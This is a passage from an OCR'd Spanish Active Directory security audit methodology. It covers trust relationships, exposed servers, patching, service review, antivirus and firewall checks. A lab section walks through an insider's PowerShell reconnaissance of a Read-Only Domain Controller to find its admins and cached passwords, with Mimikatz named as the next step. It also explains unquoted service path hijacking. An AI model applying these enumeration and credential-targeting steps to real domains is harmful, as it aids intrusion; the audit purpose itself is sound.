donde se encuentre el CPD deben de incorporar sistema de control de acceso Unicamente
a los responsables de su mantenimiento y todo acceso de persona externa a estos, deben
quedar registrados.

- Gestion de Rollbacks: Las copias de seguridad son una de las tareas fundamentales para
garantizar las operaciones en caso de contingencia tecnoldgica. Se debe establecer
procedimientos bien definidos sobre las copias de seguridad de los sistemas de la
informacion de la organizacion auditada. Adicionalmente, se debe gestionar una copia
de respaldo “fisica” del CPD, esto quiere decir que se recomienda que exista un CPD
secundario distanciado del primario por varios kilémetros para evitar pérdida total de la
informacion en caso de catastrofe natural.

4.1.2. Revision de las relaciones de confianza

Las relaciones de confianza (mencionadas en el apartado 2.1.4. Relaciones de confianza), son los
mecanismos de entrada/salida de la infraestructura de Active Directory a otras infraestructuras y/o
principalmente, dentro de un mismo Active Directory a arboles y bosques. Esta practica suele ser
bastante comun cuando se requiere la comunicacion entre varios dominios. El trabajo del
consultor de seguridad en este caso, es verificar que las relaciones de confianza establecidas estan
correctamente gestionadas y no hay ninguna relacion que no esté autorizada y permisos
establecidos.

Uno de los mecanismos para visualizar las relaciones de confianza de un dominio es a través del
comando:
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Nltest /domain trusts

PS C:\UsershAdministrator> nltest /domain_trusts
List of domain trusts:

0: FAKEORG fakeorg.com (NT 5) (Forest Tree Root) (Primary Domain) (Natiwve)
The command completed successfully

Figura 16 Identificaciéon de confianza con otros dominios

4.1.3. Exposicion de servidores de red

Las organizaciones poseen arquitecturas de red adaptadas a sus necesidades y siguiendo las
buenas practicas que conocen las profesiones de seguridad y sistemas, en otros casos, son
arquitecturas heredadas y cuyo mantenimiento aumenta considerablemente el esfuerzo en
tiempo y recursos. En este sentido, se debe estudiar el estado de la arquitectura de red y analizar
posibles capacidades de mejora. El mayor peligro para una organizacién y, concretamente para
Active Directory son servidores miembro o Domain Controllers en DMZ expuesta a internet y a
otras organizaciones, bien sea por requerimientos del negocio o por otras causas se deben de
seguir pautas muy especificas para evitar un incremento en la superficie de ataque. [9]

En primer lugar, analizando todos los puertos abiertos de los servidores bajo dominio que estan
expuestos, puertos como el del servicio RDP (3389) o SMB (445) pueden suponer un riesgo para
la organizacion ya que existen ataques sobre ciertas versiones centrados sobre esos servicios. En
caso de necesitar un Domain Controller en DMZ, debe ser configurado en modo Read-Only, para
evitar problemas de escritura sobre el esquema de Active Directory.

A continuacion, se expone un ataque tipico contra un Domain Controller Read-Only, para ello se
ha agregado al entorno de laboratorio otra maquina y se ha agregado el rol de RODC (Read-Only
Domain Controller).

Previamente antes de exponer los pasos necesarios se va a exponer el escenario de ataque
utilizado.

- Primary Domain Controller (PDC) Nintendo.fakeorg, IP: 10.0.80.230.

- Domain Controller Read-Only (RODC) Sony.fakeorg, IP: 10.0.80.231

- Maquina del atacante bajo dominio, n64.fakeorg, IP: 10.0.80.105, Windows 10
- Cuenta de usuario de dominio (fuera del grupo de administradores): dmorgan.

El enfoque que se ha utilizado es el de un insider que posee una cuenta de dominio y/o atacante
que consigue las credenciales de un usuario de dominio:

l. Listado de informacién de Domain Controller Read-Only: Para obtener informacién un

mecanismo muy Util es la consola de PowerShell, si los administradores de la organizacién
y responsables de seguridad no restringen el uso de comandos a través de esta
funcionalidad nativa de Windows puede suponer una entrada muy factible para un
atacante o para la elaboracién de un ataque avanzado. Para listar informacion del equipo
se utiliza el siguiente comando

Get-ADComputer S$ROCName -Property * | Select Name,ManagedBy, 'msDS-
AuthenticatedToAccountlist’, ’msDS-NeverRevealGroup’, ' msDS-
RevealedDSAs’, 'msDS-RevealedUsers’, 'msDS-RevealOnDemandGroup’
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E¥ Windows PowerShell - m] X

edBy
ithenticatedToAccountTist

msD5-RevealedUsers Al 5000000000000A935000000000000:
0009000100000004/ 1030000001F! 000000000000 000000000000:C
0002000100000004/ 1030000001F 000000000000 000000000000
0002000100000004 711030000001FA5 37 AS350000000000004935 000000000000 :
msDS-RevealOnDemandGroup H ed RODC Pa Replication G X

Figura 17 Informacion obtenida de RODC

Al pertenecer a un dominio, un usuario tiene acceso a informacién basica del dominio tal como
usuarios, grupos, informaciéon de controladores de dominio y otra informaciéon necesaria para
establecer comunicaciones entre elementos de la infraestructura.

Entre los pardmetros destacables de la ejecucion del anterior comando encontramos:
- Name, nombre de la maquina.
- ManagedBy, el administrador/es de la maquina.

- El parametro AuthenticatedToAccountList enumera las cuentas de usuario que han
accedido al sistema, tanto maquinas como usuario.

- NeverRevealGroup es un parametro propio de Domain Controllers Read-Only para
definir que usuarios, equipos y grupos no pueden tener contrasefias almacenadas en
cache en un RODC.

- RevealedDSAs identifica que RODC guarda el secreto del usuario que lanza el
comando (dmorgan).

- RevealedUsers identifica los objetos cuyos secretos han sido revelados a esa instancia
(normalmente, miembros del dominio).

- RevealOnDemandGroup, identifica el grupo de seguridad cuyos usuarios pueden
tener secretos revelados a esa instancia.

II. Informacion de los RODC admin: Como se ve en la anterior generacién del comando los

servidores RODC estan administrados por el grupo “RODC Admins”.

Por buenas practicas, un Domain Controller Read-Only no deberia estar administrado por
los administradores del dominio (excepto en escenarios concretos), encontrar las cuentas
de los administradores de los RODC Admins no es una tarea complicada. En primer lugar,
se debe enumerar la informacién que se tiene del grupo.

Para ello se debe ejecutar el siguiente comando:

Get-adgroupmember ‘RODC admins’
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P5 C:\Users‘dmorgan> Get-adgroupmember

distinguishedMame : CN=Jax Teller,CN=Users,D=Fakeorg, D =com

name 3 Teller
objectClass 3 er

JjectGUID fdbcaasl-45dd-41lec-ac8d-8a46b5e4979b

A ccountMame jteller
SID : 5-1-5-21-3

fB5720426-3373177189-1119

distinguishedName : CN=Peter Griffin,CN=Users,D{=fakeorg,DC=com

name : Peter Griffin
objectClass 3

-989a-4806-af42-8e9e7788e02b

wccountMame r1tfin
) -5-21-397

Figura 18 Informacién obtenida del grupo RODC admins

Como se puede observar en la imagen solo existen dos usuarios bajo este grupo que son

los que se intentara vulnerar dentro de este ejemplo.

Analizando la configuracion del RODC: Para continuar analizando qué posibilidades se

tienen con el controlador de dominio de solo lectura se analiza qué contrasefas pueden

ser cacheadas por esta maquina.

SOMNY Properties ? >
General Operating System Member Of Delegation
Password Replication Policy Location Managed By Dialdn
This is @ Read-only Domain Cortroller (RODC). An RODC stores users and
computers passwords acconding to the policy below. Onby passwords for
accounts that are in the Allow groups and not in the Deny groups can be
replicated to the RODC.
Groups, users and computers:
Mame Active Directory Dom...  Setting
Account Operatars fakeorg .com./Buittin Dery
Administrators fakeorg .com./Buittin Dery
Allowed RODC Password Replicati... fakeong.coms/sers Allow
Backup Operators fakeorg .com./Buittin Dermy
Denied RODC Password Replicatio... falkeorg.coms/Users Dery
Domain Users fakeorg com/Users Allow
RODC Admins fakeong .comsUsers Allow
Server Operators fakeong .com./Buittin Dery
£ >
Advanced... Add... Bemove
Concel | [INERI] [ b

Figura 19 Configuracion de RODC
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Se observa en la imagen como los usuarios del dominio y los RODC admins tienen las
contrasefas cacheadas, lo que aumenta considerablemente la superficie de ataque. Un
detalle importante a tener en cuenta es que las contrasefias cacheadas en estos
sistemas no siempre tienen porqué ser la que tiene el usuario actualmente, no obstante,
supone un gran riesgo para la seguridad de la organizacion que un atacante tenga la
capacidad de acceso a las mismas. En este sentido, se debe observar qué contrasefias
son las que estan almacenando dentro del Domain Controller Read-Only.

Advanced Password Replication Policy for SONY
Palicy Usage  Resuttart Policy

Display users and computers that meet the following criteria:

Accounts whose passwords are stored on this Read-only Domain Controller v

Users and computers: CObjects retrieved: 4
MName Domain Services Folder  Type Password Last Changed = Password Expires
?_) Jax Teller fakeorg.com./Users User 18/08/2018 13:43:19 29/09/2018 13:43:19
E;, lerbtgt 18445 fakeorg.com/Users User 18/08/2018 0:24.04 29/09/2018 0:24.04
?_;, Peter Griffin fakeorg.com./Users User 18/08/2018 13:44:39 29/09/2018 13:44:39
1A SONY fakeorg.com/Domain ...  Computer  18/08/2018 0:24:04 Mever Expires

Export... E Prepopulate Passwords... i
Help Close

Figura 20 Informacion de contraseiias cacheadas en RODC

IV. Una vez teniendo el conocimiento de estos equipos se pueden utilizar técnicas de
ingenieria social o herramientas como Mimikatz (en apartados posteriores se explicara en
mayor detalle), se pueden obtener credenciales de los mimos con seguridad de que
existen dentro de la infraestructura.

4.1.4. Mecanismos de distribucion de carga sobre la infraestructura

Una organizacion con una infraestructura de Active Directory compleja necesita de los
mecanismos suficientes para hacer frente a ataques por denegacién de servicio o intentos de
agotar recursos del sistema. En este sentido, una sola maquina gestionando todo el trafico de
entrada/salida de la infraestructura podria quedar facilmente congestionada por un atacante o
por un mal despliegue de algun servicio y/o aplicacién, por ello, el consultor de seguridad debe
revisar los mecanismos de distribucién de carga de la infraestructura a revisar.

Para ello puede ser validado mediante reuniones con los responsables de la infraestructura sin
realizar analisis sobre los sistemas fuera del alcance de la revision. Adicionalmente, si la
organizacion no dispone de mecanismos de balanceo de carga, se recomienda en la mayoria de
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los casos el despliegue de soluciones enfocadas a este tipo de servicios, para ello, se debe analizar
el trafico medio y los limites al alza de las comunicaciones. Estas soluciones pueden aportar a la
organizacion el mantenimiento de la disponibilidad de sus servicios y aumentar el tiempo de vida
de los sistemas en caso de un exceso de caidas a causa de denegaciones de servicio o despliegues
mal disefiados.

4.1.5. Vlan dedicada a administraciéon

Para un eficiente mantenimiento de la infraestructura de Active Directory siempre es
recomendable el uso de Vlans dedicadas para la administracion de dicho servicio. Una Vian
especifica de administracién limita la capacidad de un atacante de acceder de forma remota al
control de los Domain Controllers, previamente, requeriria de una explotacion de los equipos de
administracién adicionalmente de tener un amplio conocimiento de la infraestructura que se
intenta vulnerar, por tanto, implementar este tipo de mecanismos aumentaria de forma
considerable el nivel de seguridad de la infraestructura de Active Directory de una organizacion.

En caso de que la infraestructura de Active Directory no tenga una administracion a través de una
vlan especifica, se debe establecer una serie de contramedidas sobre este ambito. En este sentido,
lo ideal para la administracién es que exista una Vlan dedicada o una doble tarjeta de red sobre
los equipos en la cual se tengan en cuenta las siguientes caracteristicas:

- Una vian dedicada a la distribucion de parches, politicas y otros mecanismos necesarios
de SMB y LDAP (e.g. carpetas compartidas, etc.).

- La otra conexidn es la utilizada para permitir el acceso via RDP Unica y exclusivamente a
través de la misma limitando asi la superficie de ataque.

En la siguiente imagen se puede observar como seria un esquema a alto nivel con la propuesta
de este punto con respecto a una segmentacién adaptada a la administracion aislada de los
sistemas

Domains controllers
\ ﬁ Parches y politicas
—1—] Q -
Vlan dedicadade [T 77 Tl L (
administracion S~o Red corporativa:
Vlans con miembros,

s / equipos y usuarios
- 00
Administradores de P\ g
Active Directory ﬂ'r ;I g

Comunicacién sin
acceso mediante RDP

Figura 21 Ejemplo de infraestructura con vlan dedicada de administracién

4.2. Bloque ll: Bastionado de Servidores
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4.2.1. Parches de seguridad

Los parches de seguridad son un elemento vital para la proteccién de los sistemas de informacién,
proveen de correcciones sobre el sistema operativo y/o aplicaciones propiedad de Microsoft, para
las aplicaciones de terceros, son los propios administradores de los sistemas los encargados de
corregir las mismas (e.g parches de seguridad para electrénica de red, firewalls, IDS, etc.). En este
sentido, el consultor de seguridad debe verificar la existencia de procedimientos de despliegue
de parches ya que son necesarios para garantizar la seguridad de los Domain Controllers y los
servidores miembros que conforman la arquitectura de Active Directory. A continuacion, se
enumeran una serie de mecanismos para poder verificar la eficacia de estos sistemas. [12] [13]

1. Verificacion por fecha del ultimo reinicio: Un indicio para comprobar si se esta aplicando

una correcta politica para el parcheado sobre los sistemas de informacién corporativos
es verificar la fecha del Ultimo reinicio de los sistemas miembro, si una maquina tiene un
tiempo elevado sin ser reiniciada ello indica que no se han aplicado parches ya que, en la
mayoria de los casos, es necesario reiniciar para el despliegue de forma eficiente.

2. Validacion a través de WSUS: Windows Server Update Services (WSUS) es el servicio que
provee de actualizaciones de seguridad para servicios y sistemas operativos de Microsoft.

La mayoria de organizaciones utilizan este servicio para gestionar el parcheado de su
parque tecnolégico, en caso de necesidad a la hora de validar la infraestructura de Active
Directory en cuanto a parcheado se debe revisar este servicio y validar la periodicidad y
los servidores que se encuentran con todas las actualizaciones necesarias.

3. Validaciones manuales y automaticas: Algunas organizaciones pueden no proveer de
acceso a WSUS o no tener la capacidad de identificar la fecha del ultimo reinicio, para
ello, se pueden realizar validaciones a través de los comandos de PowerShell, para ello,

se puede utilizar el siguiente [14]:

Get-Hotfix

C:sllseprssAdministrator? get—hotf ix

SOUFCE Deszcription HotFixID InstalledBy InstalledOn

Update KB? 7?6982 FENDER~Adminiztrador

Figura 22 Validacion manual de actualizaciones

En la imagen se puede validar cémo existe una actualizacién pendiente que no esta
instalada dentro del equipo. En caso de que la validacién manual no funcione, se pueden
utilizar herramientas de validacién automatica como Nessus.

En la imagen, se puede observar un escaneo automatico sobre una de las maquinas de la
organizacion, se observa como el servidor, con un sistema operativo Windows Server
2008 R2 esta sin el parche de seguridad MS17-10, este parche corrige las vulnerabilidades
Eternalblue, EternalRomance, DoblePulsar, etc,, estas, son las que aprovechaba WannaCry
para propagarse entre las diferentes organizaciones, por lo que un atacante lo tendria
asequible para tomar el control de la maquina.
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o ) hitps//localhost2834/=/scans/rep O ~ @ Erorde certi.. & || @) Nessus Home / Folders f Vi...

Settings F 3
Active Directory Infraestructure / 10.0.80.232 Configure  Audit Trail Launch ~ Export ¥
= « Back to Hosts
W My scans
W All Scans 10.0.80.232 -
= Vulnerabilities 25
Iﬂ Trash
Filter =
Host Details
O rolicies Sev Name Family Count s 10.0.80.232
B Plugin Rules ) ) MAC: 00:0C:29:BC:6E:0F
© s MS17-010: Security Update for Microsoft Windows SMB... Windows 1 os: Microsoft Windows Server 2008 R2
canners Enterprise Service Pack 1
SMB Signing not required Misc. 1 Start Today at 10:48 PM
End: Today at 10:56 PM
m DCE Services Enumeration Windows 7 Elapsed: 8 minutes
KB: Download
m Nessus SYN scanner Port scanners 2
m ‘Common Platform Enumeration (CPE) General 1 Vulnerabilities
’ ®  Critical
m Deprecated / Disabled Plugins in Scan Policy - Notice Misc. 1 High
Medium
m Device Type General 1 ® Low

® Info

Figura 23 Analisis de vulnerabilidades con Nessus

4. Procedimiento de parcheado corporativo: Las organizaciones deben disponer de un

procedimiento que defina como y cuando deben ser desplegadas las actualizaciones
sobre la infraestructura, y, en este caso en particular, Active Directory. En este sentido,
Microsoft libera cada segundo martes del mes el boletin de actualizaciones, estas estaran
disponibles en el repositorio de actualizaciones (WSUS) para ser desplegadas. Un buen
procedimiento de parcheado debe estar validado por los responsables de seguridad de
la organizacién, y definir SLAs (Service Level Agreement) para garantizar una proteccién
adecuada sobre los sistemas de informacion corporativos. Adicionalmente, los parches
deben ser probados previamente en un entorno de laboratorio previo despliegue en
produccion para poder verificar que no afectardn a la confidencialidad, integridad y
disponibilidad de los sistemas de la informacién corporativos.

4.2.2. Revision de software/servicios instalados

El uso de software innecesario sobre los sistemas de informacién corporativo es una practica
comun y extendida en las organizaciones. Este tipo de acciones puede afectar de forma negativa
a la infraestructura de Active Directory pudiendo aumentar la superficie de exposicién a posibles
ataques. En este sentido, debe seguirse el principio de minimas funcionalidades necesarias para
evitar un aumento en los vectores de ataque.

Nessus es capaz de detectar aquellas aplicaciones cuya versidon es obsoleta, esto ayudaria a
identificar posibles herramientas olvidadas para algun propodsito en concreto o para alertar de
posibles aplicaciones innecesarias sobre el equipo.

Otro mecanismo es la validacién a través del acceso al sistema e identificar qué aplicaciones y
servicios son innecesarios desde el alcance de la infraestructura de Active Directory.

En la imagen, se pueden observar diferentes aplicaciones que no son necesarias para el buen
funcionamiento de la infraestructura, en este caso, un Domain Controller:
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- Cain & Abel: Considerado como malware por muchos antivirus y utilizado para andlisis
de tréfico.

- Google Chrome: La navegacion hacia internet no es una tarea necesaria (en la mayoria de
los casos) para un Domain Controller.

- IKnowPs: Aplicacidn de terceros para conocer las aplicaciones corriendo, no esta validada
por ninguna solucién de seguridad.

- Notepad++: Aplicacion innecesaria para visualizar datos en texto plano y otros formatos.
- Spotify: Aplicacién de mdusica.

- Wireshark: Aplicacion de analisis de trafico, Windows ya incorpora mecanismos de analisis
de trafico de forma nativa y no es necesario hacerlo sobre la propia maquina.

Programs and Features
o - T | » Control Panel » Programs » Programs and Features

Control Panel Home .
Uninstall or change a program

View installed updates To uninstall a program, select it from the list and then click Uninstall, Change, or Repair.
"Eg" Turn Windows features on or

G Organize v

Install a program from the =

network Name Publisher Installed On  Size Version
., AD Info Free Edition Cjwdev 31/05/2018 130MB 1792
&, AD Tidy Free Edition Cjwdev 31/05/2018 916MB 217
[&] ADManager Plus ZOHO Corp. 31/05/2018 6.6
[57] Cain & Abel 4.9.56 19/06/2018
& Google Chrome Google Inc. 01/03/2018 68.0.3440.106
[57 iknowPs iKnowProcess.com 20/06/2018
[ Microsoft Message Analyzer Microsoft Corporation 01/06/2018 297 MB 4.0.8112.0
[Z Notepad+ + (64-bit x64) Notepad++ Team 19/08/2018 10,6MB  7.5.8
& spotify Spotify AB 30/05/2018 1.0.80.474.gef6h503e
@VMware OVF Tool Vhware, Inc. 18/08/2018 71,0MB 410
(9 WinPcap 4.1.3 Riverbed Technalogy, Inc. 19/06/20718 41.0.2980
‘ereshark 2.6.7 b4-bit The Wireshark developer comm...  19/06/2018 163 MB  2.6.1

Figura 24 Programas innecesarios instalados sobre Domain Controller

Para validar los servicios existentes sobre las maquinas bajo dominio se pueden seguir dos
mecanismos sin necesidad de soluciones de terceros:

1. Verificacién mediante Powershell

Get-Service
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EN Administrator: Windows PowerShell (x86)
S C: = ministrator> Get-5Service

Certificate
Client Lices

unning
unning
pped
ning

n Serwvice
i ce
nd Discovery Broker
Replicati
Client
t iagnosti Hub Stand...

Connected U xperienc and Tele...
Dewvice Management Enrollment Serwvice
=

unning
pped
pped
pped
>topped

Figura 25 Servicios innecesarios existentes en Domain Controller
Este comando lista todos los servicios disponibles por la maquina y el estado en el que se

encuentran en el momento de lanzar el comando (parado o en funcionamiento). [15]

Este mecanismo también te permite filtrar por servicios concretos o por busquedas flexibles, el
siguiente comando busca los servicios que comienzan por wmi (el acrénimo de Windows
Managment Instrumentation).

Get-Service "wmi*"

Get-Service “wmi="

Name

Stopped wmiApSrv WMI Performance Adapter

Figura 26 Busqueda de servicios con cadena predeterminada

O busquedas segun el estado del servicio (parado o en funcionamiento), Util para validar la
integridad si estan registrados los estados de los mismos. El comando que puede aportar la
informacidn necesaria es la siguiente:

Get-Service | Where-Object {$_ .Status -eq "Running"}

Get-Service | Where-Object {$ .Status -eqg "Stopped"}
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C:h\UsershAdministrator= Get-Service | Where-Object {%_.5tatus -eq "Running”}

Name DisplayName

Running ADWS Active Directory Web Services

Running B Base Filtering Engine

Running Brok . Background Ta Infrastructure Ser...
Running 5 Connected Devices Platform Service
Running CDPUs . & CDPUserSvc_150ced

Running CertPr Certificate Propagation

Running CoreM . CoreMessaging

Running Cry Cryptographic Services
Runmning ) DCOM Serwver Process Launcher
Running ) DFS Namespace

Running D DFS Replication

Running DHCP Client

Runmning Connected User Experiences and Tele...
Running ) DNS Server

Running D ; DN Client

Running D D1 agn ic Policy Serwvice
Running D Device Setup Manager

Running 5 Encrypting File System (EF5)
Running EventlLog Windows Event Log

Figura 27 Basqueda de servicios en ejecucion

Otra posibilidad de detectar actividades anémalas es analizando las dependencias de servicios
entre si, puede ser que un servicio malicioso esté utilizando un servicio legitimo para obtener
persistencia en el sistema.

Un mecanismo para detectar las dependencias de servicios seria a través del siguiente script:

Get-Service |
Where-Object {$ .DependentServices} |
Format-List -Property Name, DependentServices, @{

Label="NoOfDependentServices";
Expression={$ .dependentservices.count}

}
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dministrator> Get-Service |
bject {5_.DependentServices} |
Format-List -Property Mame, DependentServic af
.dependentservices. count}

Label="NoOfDependentservices

Name 1 AppIDSwc
Dependent5ervices : {applockerfltr}
MoOfDependentServices :

Mame : AudioEndpointBui lder
Dependent5ervices 3
MoOfDependentServices

Name 3
Dependent5ervices e svc, WdMisDrv, SharedAcce RemoteAccess. ..}
MoOfDependentServices :

Name : BrokerInfrastructure
Dependent5ervices : {embedded
MoOfDependentServices : 1

Name : CryptSvc
Dependent5ervices : {applockerfltr, AppIDSwvc}
MoOfDependentServices : 2

Name : DcomLaunch
Dependent5ervices : {DN5, NtFrs, XblGamesave, XblAuthManager...}
MoOfDependentServices : 125

Mame : Dhcp
Dependent5ervices : {Ncaswvc, iphlpsvc, WinHttpaAutoProxysvc, AppVClient...}
MoOfDependentServices : 6

Mame : Dnscache
Dependent5ervices : {Mcaswch
MoOfDependentServices :

Name
Depgndentieru1c&5_
MoOfDependentServices

Figura 28 Ejemplo de listado de dependencias entre servicios

El consultor de seguridad debe validar otros puntos importantes dentro de los servicios. Uno de
los vectores de ataque mas comunes por parte de intruso suele ser aprovechar un servicio legitimo
al no tener configurada la ruta de forma eficiente.

Mediante el siguiente comando:

Get-WmiObject win32 service | select Name, State, PathName

Running C
Running

1sMpEng. exe"
WinHttpAutoPro i
W1 nmgmt Running

WinRM Running

Figura 29 Ruta de los servicios del sistema

El comando devuelve como salida un listado de los servicios, estado y la ruta. Una de las
vulnerabilidades menos conocidas es la capacidad de un atacante de manipular la localizacién de
un servicio cuando no esta entrecomillado. Si un servicio tiene su ruta entrecomillada, el sistema
localiza la ruta especifica definida, en caso contrario, localizara desde C o la unidad en uso hasta
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la ruta definida. Esto quiere decir que un atacante con permisos de escritura en disco y un proceso
con permisos suficientes, podria ser suplantado por un ejecutable en ruta superior.
Por ejemplo:

C\Windows\system32\svchost.exe, podria ser suplantado por C\windows\svchost.exe siendo
este Ultimo un fichero malicioso creado por un atacante y el proceso anterior ejecutado con
permisos de administrador. Esto proporcionaria a un atacante permisos sobre el sistema
quedando totalmente vulnerado.

2. Validacién mediante interfaz del sistema

Se puede acceder a los servicios corriendo mediante el acceso al programa gréafico especifico del
que dispone Windows, se puede acceder escribiendo “Services” en los programas del sistema.

i Services

File Action View Help

R EEEN EIEEE D
& Sevices (Locd| [2) " ervices (Local
Select an item to view its description.  Name . Description Status Startup Type Log On As

QEActlvE Directory Domain Se..  AD DS Demain Controller service, If this service is sto...  Running Automatic Local System
&1 Active Directory Web Services This service provides a Web Service interface to insta...  Running Automatic Local System
ﬁ;ActivaXlnstaHEr (AxlnstSV) Provides User Account Contrel validation for the inst... Manual Local System
£ Alloyn Router Service Routes Allloyn messages for the local Allloyn clients.... Manual (Trigger Start) Local Service
£ App Readiness Gets apps ready for use the first time a user signs in t... Manual Local System
& Application Identity Determines and verifies the identity of an application... Manual (Trigger Start) Local Service
£ Application Information Facilitates the running of interactive applications wit.. Manual (Trigger Start) Local System
£ Application Layer Gateway ... Provides suppart for 3rd party protacal plug-ins for |... Manual Local Service
&) Application Management  Processes installation, removal, and enumeration req... Manual Local System
). AppX Deployment Service (.. Provides infrastructure support for deploying Store a... Manual Local System
Q;Autu Time Zone Updater Automatically sets the system time zone. Disabled Local Service
QEEackgruund Intelligent Tran... Transfers files in the background using idle network ... Manual Local System
ﬂ;Eackgruund Tasks Infrastru.. Windows infrastructure service that centrels which b...  Running Autematic Local System
£};Ease Filtering Engine The Base Filtering Engine (BFE) is a service that mana... Running Autematic Local Service
& Bluetooth Support Service  The Bluetooth service supports discovery and associ... Manual (Trigger Start) Local Service

Figura 30 Visualizacién de servicios mediante interfaz grafica

Este programa lista todos los servicios instalados en el sistema, identificados mediante nombre,
descripcidn, estado, tipo de inicio (manual, automatico, deshabilitado, triggers, etc.) y los permisos
con los que se ejecuta (local, network, etc.).

Los servicios se pueden analizar con mayor detalle, se obtiene informacion del proceso, asi como
la posibilidad de editar la descripcion del servicio (Util para un atacante si desea enmascarar un
proceso malicioso). Adicionalmente, se pueden observar otras caracteristicas interesantes, como
el path o ruta donde se encuentran instalados, asi como el tipo de inicio.
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Function Discovery Provider Host Properties (Local Computer) X

General LogOn  Recovery Dependencies

Service name:

Display name: Function Discovery Provider Host

Descrintion: & FOPHOST service hosts the Function A
sscrption ’E‘scwew (FD) netwark discovery providers. These y

Path to executable:

C\Windows'system 32'svchost exe 4 LocalService

Startup type: Manual e

Service status:  Stopped
Start Stop Fause Resume

You can specify the start parameters that apply when you start the service
from here.

Start parameters: |

Cancel Aoy

Figura 31 Informacion basica de un servicio

Otras de las opciones que se incorporan dentro de la interfaz es la posibilidad de modificar el
usuario o visualizar las dependencias, Util para analizar procesos potencialmente maliciosos.

Function Discovery Provider Host Properties (Local Computer) et

General LogOn Recovery Dependencies

Some services depend on other services, system drivers or load order
groups. If a system component is stopped, or is not running property,
dependent services can be affected.

Function Discovery Provider Host

This service depends on the following system components:
o2} HTTF Service
Remote Procedurs Call (RPC)
-- DCOM Server Process Launcher
&k

RPC Endpoirt Mapper

Figura 32 Visualizacion grafica de dependencias de un servicio
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4.2.3. Validacion de las herramientas de proteccion

El uso de herramientas de proteccidn activa sobre los sistemas de informacion miembro, asi como
Domain Controllers son un soporte vital y necesario para una infraestructura de Active Directory
segura. Este tipo de soluciones son de una importancia vital para los sistemas de informacion ya
que mitigan posibles ataques que de forma nativa seria imposible que fusen detectados. Por ello,
los sistemas deben disponer como minimo de una solucién antivirus. Adicionalmente, y si la
infraestructura es de una complejidad elevada, los sistemas de informacién necesitarian
incorporar mecanismos adicionales como soluciones antimalware o proxys locales para limitar las
conexiones salientes hacia ciertas webs.

El consultor de seguridad debe validar que las firmas de virus se encuentren actualizadas de forma
periodica, asi como que la funcion de “proteccion real” esté habilitado ya que es muy comun que
se despliegue una solucidn antivirus y no activen esta opcién.

ENDPOINT ANTIVIRUS

A\ ESTADO DE LA PROTECCION

A Alerta de seqguridad

var el producto para obtener la méxima proteccion,

firmas de virus esta desactualizada

rdenador esté en peligro, porque hace tiempo que no se actualiza la base de firmas de
be la conexion de red e intente actualizar la base de firmas de virus otra vez.

Figura 33 Estado de solucion antivirus

Por Ultimo, se debe verificar la existencia de escaneos programados sobre los sistemas de
informacion por parte de las soluciones de antivirus, en caso de ser sistemas “legacy” deben tener
establecidos escaneos al menos semanales para garantizar la seguridad de los mismos.

Esta informacién puede ser obtenida mediante reuniones con los responsables o a través del
acceso a los sistemas o el servidor central de antivirus.

Los consultores de seguridad deben conocer la mayor cantidad de herramientas de seguridad
posible, muchas de ellas tienen caracteristicas diferentes y el conocimiento de las mismas
proporciona una visién rapida para poder definir si se encuentran optimizadas sobre la
infraestructura de Active Directory. Algunos ejemplos de herramientas antimalware:

e Panda Adaptative Defense 360

Traps (es necesario tener firewalls de Palo Alto).
e Symantec end-point protection.

Trend-Micro.

e FEtc

El listado de soluciones de seguridad es elevado en todos los campos, por tanto, se deben
consultar fuentes para estar al dia de cuéles son las mejores soluciones en el mercado una opcién

pag. 41




Miguel Tomas Ruiz
METODOLOGIA TECNICA DE REVISION DE DIRECTORIO ACTIVO

seria buscar informacién en los cuadrantes magicos que publica Gartner anualmente donde se
indican quienes son los lideres, “challengers”, innovadores, etc.

4.2.4. Revision de Firewall local

El firewall local es otro elemento existente dentro de los sistemas Windows el cual proporciona la
capacidad de limitar las conexiones entrantes y salientes, lo cual es Util para sistemas dentro de
un mismo segmento de red ya que los firewalls no consiguen limitar la visibilidad en estos casos.
[16]

Existen tres tipos de perfiles dentro del firewall local:

e Domain profile: Este perfil se activa automaticamente cuando una maquina se une a un
dominio. En caso de que las politicas de Active Directory esté configuradas para
sobrescribir las configuraciones locales de la maquina en cuanto a firewall local estas
prevaleceran.

e  Private profile: Esta configuracidn se aplica cuando una maquina se encuentra conectada
a una red desconocida. Esta opcion es comun sobre los end-point cuando se requiere de
movilidad geogréfica o se conectan desde redes no confiables (se cataloga asi a toda red
fuera de la organizacién y en la que no se puede monitorizar las actividades o el trafico
que fluye a través de la misma).

e Public profile: Esta configuracién se aplica cuando se realiza una conexion a un dominio
a través de una red publica, como en un aeropuerto, hotel o cafeteria. Dado que la
seguridad de estas redes es desconocida y no esta realmente controlada por el usuario
que ejecuta el ordenador, se sugiere que el perfil de configuracion de la red publica sea
mas restrictivo que la red de dominio o la red privada.

Para analizar las capacidades del firewall local de los Domain Controller se deben validar las
configuraciones existentes. En este sentido, existen guias publicadas por el CIS (Center for Internet
Security) las cuales detallan para cada version de sistema operativo y aplicaciones qué
configuracion es la ideal y como verificar cual es la que esta habilitada.

Para poder acceder a las guias del CIS solo hay que acceder a la web https://www.cisecurity.org/.

&« C | @ Esseguro | hitpsy//www.cisecurity.org BTy @

Cis Controls CIs Bencnmarks OIS Hardened Images ISAC Info

@I S Center for Internet Security® Confidence in the Connected World Quick Links:

e CIS SecureSuite”

Membership

Alert Level: (L Guarded . Elevated High Severe Learn More

. - - lecti
Albert Network Monitoring CIS harnesses the power of a & wms-isAc K fnffastructure
1SAC

global IT community to

Join EHSAC -3
EFISAC™ are focal points for cyber
threat prevention, protection, response, & recovery for
U.S. State, Local, Tribal, & Territorial government entities.

24x7 Network Monitoring for U.S. SLTTs

safeguard public and private
organizations against cyber
threats.

Cost-effective IDS monitoring solution with a SLTT-
focused signature set. Low-cost service for U.S.
SLTTs and elections organizations.

CIS is home to the MS-ISAC & EI-ISAC.

More Information--

Figura 34 Pagina principal CIS
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Dado que el entorno de laboratorio desplegado es Windows Server 2016 realizaremos una
blusqueda de los documentos relacionados con la infraestructura solicitada

Search Results for: Windows Server 2016

£ Blog post - 19 Dec 2016 /N Advisory - 15 May 2017 /\ Advisory + 14 Mar 2017 [ benchmark - 04 Mar 2017
CIs Benchmarks Update: Where is Multiple Vulnerabilities in A Vulnerability in Microsoft CIS Microsoft Windows Server
Windows Server 20162 Microsoft Windows SMB Server Windows PDF Library Could Allow Benchmarks

Could Allow for Remote Code for Remote Code Execution

Execution
/N Advisory - 08 Nov 2016 A\ Advisory - 09 Aug 2016 /\ Advisory - 14 Jun 2016 ¢ Blog post * 10 May 2016
